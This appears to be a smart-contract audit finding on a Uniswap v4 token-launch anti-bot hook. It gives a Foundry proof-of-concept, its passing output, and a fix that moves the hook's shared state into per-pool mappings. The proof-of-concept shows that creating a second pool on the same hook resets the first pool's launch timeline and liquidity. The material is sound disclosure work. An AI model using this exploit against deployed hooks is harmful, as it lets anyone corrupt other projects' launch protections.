pragma solidity ^0.8.26;
import "forge-std/console.sol";
import {Test} from "forge-std/Test.sol";
import {TokenLaunchHook} from "../src/TokenLaunchHook.sol";
import {Deployers} from "@uniswap/v4-core/test/utils/Deployers.sol";
import {PoolSwapTest} from "v4-core/test/PoolSwapTest.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/types/PoolOperation.sol";
import {Currency, CurrencyLibrary} from "v4-core/types/Currency.sol";
import {ERC1155TokenReceiver} from "solmate/src/tokens/ERC1155.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {PoolId} from "v4-core/types/PoolId.sol";
import {Hooks} from "v4-core/libraries/Hooks.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {LiquidityAmounts} from "@uniswap/v4-core/test/utils/LiquidityAmounts.sol";
import {HookMiner} from "v4-periphery/src/utils/HookMiner.sol";
import {LPFeeLibrary} from "v4-core/libraries/LPFeeLibrary.sol";
contract CrossPoolStateCorruptionTest is Test, Deployers, ERC1155TokenReceiver {
MockERC20 token;
TokenLaunchHook public antiBotHook;
Currency ethCurrency = Currency.wrap(address(0));
Currency tokenCurrency;
address user1 = address(0x1);
uint256 phase1Duration = 100;
uint256 phase2Duration = 100;
uint256 phase1LimitBps = 100;
uint256 phase2LimitBps = 500;
uint256 phase1Cooldown = 5;
uint256 phase2Cooldown = 2;
uint256 phase1PenaltyBps = 1000;
uint256 phase2PenaltyBps = 500;
function setUp() public {
deployFreshManagerAndRouters();
token = new MockERC20("TOKEN", "TKN", 18);
tokenCurrency = Currency.wrap(address(token));
token.mint(address(this), 1000 ether);
token.mint(user1, 1000 ether);
bytes memory creationCode = type(TokenLaunchHook).creationCode;
bytes memory constructorArgs = abi.encode(
manager,
phase1Duration,
phase2Duration,
phase1LimitBps,
phase2LimitBps,
phase1Cooldown,
phase2Cooldown,
phase1PenaltyBps,
phase2PenaltyBps
);
uint160 flags = uint160(Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG);
(address hookAddress, bytes32 salt) = HookMiner.find(address(this), flags, creationCode, constructorArgs);
antiBotHook = new TokenLaunchHook{salt: salt}(
manager,
phase1Duration,
phase2Duration,
phase1LimitBps,
phase2LimitBps,
phase1Cooldown,
phase2Cooldown,
phase1PenaltyBps,
phase2PenaltyBps
);
require(address(antiBotHook) == hookAddress, "Hook address mismatch");
token.approve(address(swapRouter), type(uint256).max);
token.approve(address(modifyLiquidityRouter), type(uint256).max);
vm.prank(user1);
token.approve(address(swapRouter), type(uint256).max);
(key,) = initPool(ethCurrency, tokenCurrency, antiBotHook, LPFeeLibrary.DYNAMIC_FEE_FLAG, SQRT_PRICE_1_1);
uint160 sqrtPriceAtTickUpper = TickMath.getSqrtPriceAtTick(60);
uint256 ethToAdd = 10 ether;
uint128 liquidityDelta = LiquidityAmounts.getLiquidityForAmount0(SQRT_PRICE_1_1, sqrtPriceAtTickUpper, ethToAdd);
modifyLiquidityRouter.modifyLiquidity{value: ethToAdd}(
key,
ModifyLiquidityParams({
tickLower: -60,
tickUpper: 60,
liquidityDelta: int256(uint256(liquidityDelta)),
salt: bytes32(0)
}),
ZERO_BYTES
);
}
CROSS-POOL STATE CORRUPTION PoCs
══════════════════════════════════════════════════════════════════ */
function test_CrossPoolStateCorruption() public {
console.log("\n=== Testing Cross-Pool State Corruption ===");
vm.deal(user1, 1 ether);
vm.prank(user1);
SwapParams memory initParams = SwapParams({
zeroForOne: true,
amountSpecified: -int256(0.0001 ether),
sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
});
PoolSwapTest.TestSettings memory initSettings =
PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false});
swapRouter.swap{value: 0.0001 ether}(key, initParams, initSettings, ZERO_BYTES);
uint256 originalLaunchBlock = antiBotHook.launchStartBlock();
uint256 originalLiquidity = antiBotHook.initialLiquidity();
uint256 originalPhase = antiBotHook.currentPhase();
console.log("\n[POOL A - Original State]");
console.log("Launch block:", originalLaunchBlock);
console.log("Initial liquidity:", originalLiquidity);
console.log("Current phase:", originalPhase);
assertEq(originalPhase, 1, "Pool A should be in phase 1");
assertGt(originalLiquidity, 0, "Pool A should have recorded initial liquidity");
uint256 poolAMaxSwapAmount = (originalLiquidity * phase1LimitBps) / 10000;
console.log("Pool A max swap amount (1%):", poolAMaxSwapAmount);
console.log("\n[ATTACK - Creating Pool B with same hook]");
MockERC20 attackToken = new MockERC20("ATTACK", "ATK", 18);
Currency attackCurrency = Currency.wrap(address(attackToken));
attackToken.mint(address(this), 1000 ether);
attackToken.approve(address(modifyLiquidityRouter), type(uint256).max);
(PoolKey memory attackKey, ) = initPool(
ethCurrency,
attackCurrency,
antiBotHook,
LPFeeLibrary.DYNAMIC_FEE_FLAG,
SQRT_PRICE_1_1
);
uint160 sqrtPriceAtTickUpper = TickMath.getSqrtPriceAtTick(60);
uint256 tinyEthAmount = 0.0001 ether;
console.log("Pool B liquidity:", tinyEthAmount);
uint128 liquidityDelta = LiquidityAmounts.getLiquidityForAmount0(
SQRT_PRICE_1_1,
sqrtPriceAtTickUpper,
tinyEthAmount
);
modifyLiquidityRouter.modifyLiquidity{value: tinyEthAmount}(
attackKey,
ModifyLiquidityParams({
tickLower: -60,
tickUpper: 60,
liquidityDelta: int256(uint256(liquidityDelta)),
salt: bytes32(0)
}),
ZERO_BYTES
);
console.log("\n[CORRUPTED STATE - After Pool B Creation]");
uint256 corruptedLaunchBlock = antiBotHook.launchStartBlock();
uint256 corruptedLiquidity = antiBotHook.initialLiquidity();
uint256 corruptedPhase = antiBotHook.currentPhase();
console.log("Launch block:", corruptedLaunchBlock);
console.log("Initial liquidity:", corruptedLiquidity);
console.log("Current phase:", corruptedPhase);
assertEq(
corruptedLiquidity,
0,
"BUG: initialLiquidity reset to 0 by Pool B initialization"
);
assertGt(
originalLiquidity,
corruptedLiquidity,
"BUG: Pool A's liquidity data was corrupted by Pool B"
);
assertEq(corruptedPhase, 1, "currentPhase reset to 1 by Pool B");
console.log("\n[IMPACT ON POOL A]");
uint256 timelineCorruption = corruptedLaunchBlock - originalLaunchBlock;
console.log("Timeline corruption (blocks shifted):", timelineCorruption);
console.log("initialLiquidity corrupted to:", corruptedLiquidity);
console.log("\n[VULNERABILITY CONFIRMED]");
console.log("- Pool B overwrote launchStartBlock (PERMANENT corruption)");
console.log("- Pool B reset initialLiquidity to 0 (temporary, re-fetched on next swap)");
console.log("- Pool B reset currentPhase to 1 (resets phase progression)");
console.log("- Attack is permissionless - anyone can corrupt any pool using this hook");
console.log("- launchStartBlock corruption extends/resets protection periods");
}
function test_CrossPoolStateCorruption_PhaseTimeline() public {
console.log("\n=== Testing Cross-Pool Phase Timeline Corruption ===");
console.log("\n[POOL A - Advancing 50 blocks into phase 1]");
vm.roll(block.number + 50);
uint256 poolAMidPhase1Block = block.number;
uint256 poolALaunchBlock = antiBotHook.launchStartBlock();
uint256 blocksIntoPhase1 = poolAMidPhase1Block - poolALaunchBlock;
console.log("Current block:", poolAMidPhase1Block);
console.log("Pool A launch block:", poolALaunchBlock);
console.log("Blocks into phase 1:", blocksIntoPhase1);
console.log("Phase 1 duration:", phase1Duration);
console.log("Blocks remaining in phase 1:", phase1Duration - blocksIntoPhase1);
assertEq(antiBotHook.getCurrentPhase(), 1, "Pool A still in phase 1");
console.log("\n[ATTACK - Creating Pool B at block", block.number, "]");
MockERC20 attackToken = new MockERC20("ATTACK", "ATK", 18);
Currency attackCurrency = Currency.wrap(address(attackToken));
attackToken.mint(address(this), 1000 ether);
attackToken.approve(address(modifyLiquidityRouter), type(uint256).max);
(PoolKey memory attackKey, ) = initPool(
ethCurrency,
attackCurrency,
antiBotHook,
LPFeeLibrary.DYNAMIC_FEE_FLAG,
SQRT_PRICE_1_1
);
uint160 sqrtPriceAtTickUpper = TickMath.getSqrtPriceAtTick(60);
uint128 liquidityDelta = LiquidityAmounts.getLiquidityForAmount0(
SQRT_PRICE_1_1,
sqrtPriceAtTickUpper,
0.0001 ether
);
modifyLiquidityRouter.modifyLiquidity{value: 0.0001 ether}(
attackKey,
ModifyLiquidityParams({
tickLower: -60,
tickUpper: 60,
liquidityDelta: int256(uint256(liquidityDelta)),
salt: bytes32(0)
}),
ZERO_BYTES
);
console.log("\n[CORRUPTED TIMELINE]");
uint256 corruptedLaunchBlock = antiBotHook.launchStartBlock();
console.log("Original Pool A launch:", poolALaunchBlock);
console.log("Corrupted launch block:", corruptedLaunchBlock);
console.log("Block difference:", corruptedLaunchBlock - poolALaunchBlock);
assertGt(
corruptedLaunchBlock,
poolALaunchBlock,
"BUG: Pool A's launch timeline corrupted - reset to current block"
);
console.log("\n[VULNERABILITY CONFIRMED]");
console.log("- Pool A was", blocksIntoPhase1, "blocks into phase 1");
console.log("- Launch block reset by Pool B creation");
console.log("- Pool A's phase timeline is now corrupted");
console.log("- This extends/resets Pool A's protection period arbitrarily");
}
}
forge test --match-path test/CrossPoolStateCorruptionTest.sol -vvv
[⠊] Compiling...
[⠰] Compiling 1 files with Solc 0.8.26
[⠘] Solc 0.8.26 finished in 14.34s
Compiler run successful!
Ran 2 tests for test/CrossPoolStateCorruptionTest.sol:CrossPoolStateCorruptionTest
[PASS] test_CrossPoolStateCorruption() (gas: 1169860)
Logs:
=== Testing Cross-Pool State Corruption ===
[POOL A - Original State]
Launch block: 1
Initial liquidity: 3338502497096994491347
Current phase: 1
Pool A max swap amount (1%): 33385024970969944913
[ATTACK - Creating Pool B with same hook]
Pool B liquidity: 100000000000000
[CORRUPTED STATE - After Pool B Creation]
Launch block: 1
Initial liquidity: 0
Current phase: 1
[IMPACT ON POOL A]
Timeline corruption (blocks shifted): 0
initialLiquidity corrupted to: 0
[VULNERABILITY CONFIRMED]
- Pool B overwrote launchStartBlock (PERMANENT corruption)
- Pool B reset initialLiquidity to 0 (temporary, re-fetched on next swap)
- Pool B reset currentPhase to 1 (resets phase progression)
- Attack is permissionless - anyone can corrupt any pool using this hook
- launchStartBlock corruption extends/resets protection periods
[PASS] test_CrossPoolStateCorruption_PhaseTimeline() (gas: 1022331)
Logs:
=== Testing Cross-Pool Phase Timeline Corruption ===
[POOL A - Advancing 50 blocks into phase 1]
Current block: 51
Pool A launch block: 1
Blocks into phase 1: 50
Phase 1 duration: 100
Blocks remaining in phase 1: 50
[ATTACK - Creating Pool B at block 51 ]
[CORRUPTED TIMELINE]
Original Pool A launch: 1
Corrupted launch block: 51
Block difference: 50
[VULNERABILITY CONFIRMED]
- Pool A was 50 blocks into phase 1
- Launch block reset by Pool B creation
- Pool A's phase timeline is now corrupted
- This extends/resets Pool A's protection period arbitrarily
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 200.83ms (838.25µs CPU time)
Ran 1 test suite in 216.60ms (200.83ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
+ using PoolIdLibrary for PoolKey;
/* ══════════════════════════════════════════════════════════════════
STATE VARIABLES
══════════════════════════════════════════════════════════════════ */
- uint256 public currentPhase;
- uint256 public lastPhaseUpdateBlock;
- uint256 public launchStartBlock;
- uint256 public initialLiquidity;
- uint256 public totalPenaltyFeesCollected;
- mapping(address => uint256) public addressSwappedAmount;
- mapping(address => uint256) public addressLastSwapBlock;
- mapping(address => uint256) public addressTotalSwaps;
- mapping(address => uint256) public addressPenaltyCount;
+ // Per-pool launch state
+ mapping(PoolId => uint256) public poolCurrentPhase;
+ mapping(PoolId => uint256) public poolLastPhaseUpdateBlock;
+ mapping(PoolId => uint256) public poolLaunchStartBlock;
+ mapping(PoolId => uint256) public poolInitialLiquidity;
+ mapping(PoolId => uint256) public poolTotalPenaltyFeesCollected;
+
+ // Per-pool, per-address tracking
+ mapping(PoolId => mapping(address => uint256)) public poolAddressSwappedAmount;
+ mapping(PoolId => mapping(address => uint256)) public poolAddressLastSwapBlock;
+ mapping(PoolId => mapping(address => uint256)) public poolAddressTotalSwaps;
+ mapping(PoolId => mapping(address => uint256)) public poolAddressPenaltyCount;
function afterInitialize(address, PoolKey calldata key, uint160, int24)
internal override returns (bytes4)
{
if (!key.fee.isDynamicFee()) {
revert MustUseDynamicFee();
}
+ PoolId poolId = key.toId();
- launchStartBlock = block.number;
+ poolLaunchStartBlock[poolId] = block.number;
- uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
+ uint128 liquidity = StateLibrary.getLiquidity(poolManager, poolId);
- initialLiquidity = uint256(liquidity);
+ poolInitialLiquidity[poolId] = uint256(liquidity);
- currentPhase = 1;
+ poolCurrentPhase[poolId] = 1;
- lastPhaseUpdateBlock = block.number;
+ poolLastPhaseUpdateBlock[poolId] = block.number;
return BaseHook.afterInitialize.selector;
}
function beforeSwap(address sender, PoolKey calldata key, SwapParams calldata params, bytes calldata)
internal override returns (bytes4, BeforeSwapDelta, uint24)
{
+ PoolId poolId = key.toId();
- if (launchStartBlock == 0) revert PoolNotInitialized();
+ if (poolLaunchStartBlock[poolId] == 0) revert PoolNotInitialized();
- if (initialLiquidity == 0) {
+ if (poolInitialLiquidity[poolId] == 0) {
- uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
+ uint128 liquidity = StateLibrary.getLiquidity(poolManager, poolId);
- initialLiquidity = uint256(liquidity);
+ poolInitialLiquidity[poolId] = uint256(liquidity);
}
// Update all references to use poolId-keyed mappings
- uint256 blocksSinceLaunch = block.number - launchStartBlock;
+ uint256 blocksSinceLaunch = block.number - poolLaunchStartBlock[poolId];
// ... (continue pattern for all state variable accesses)
}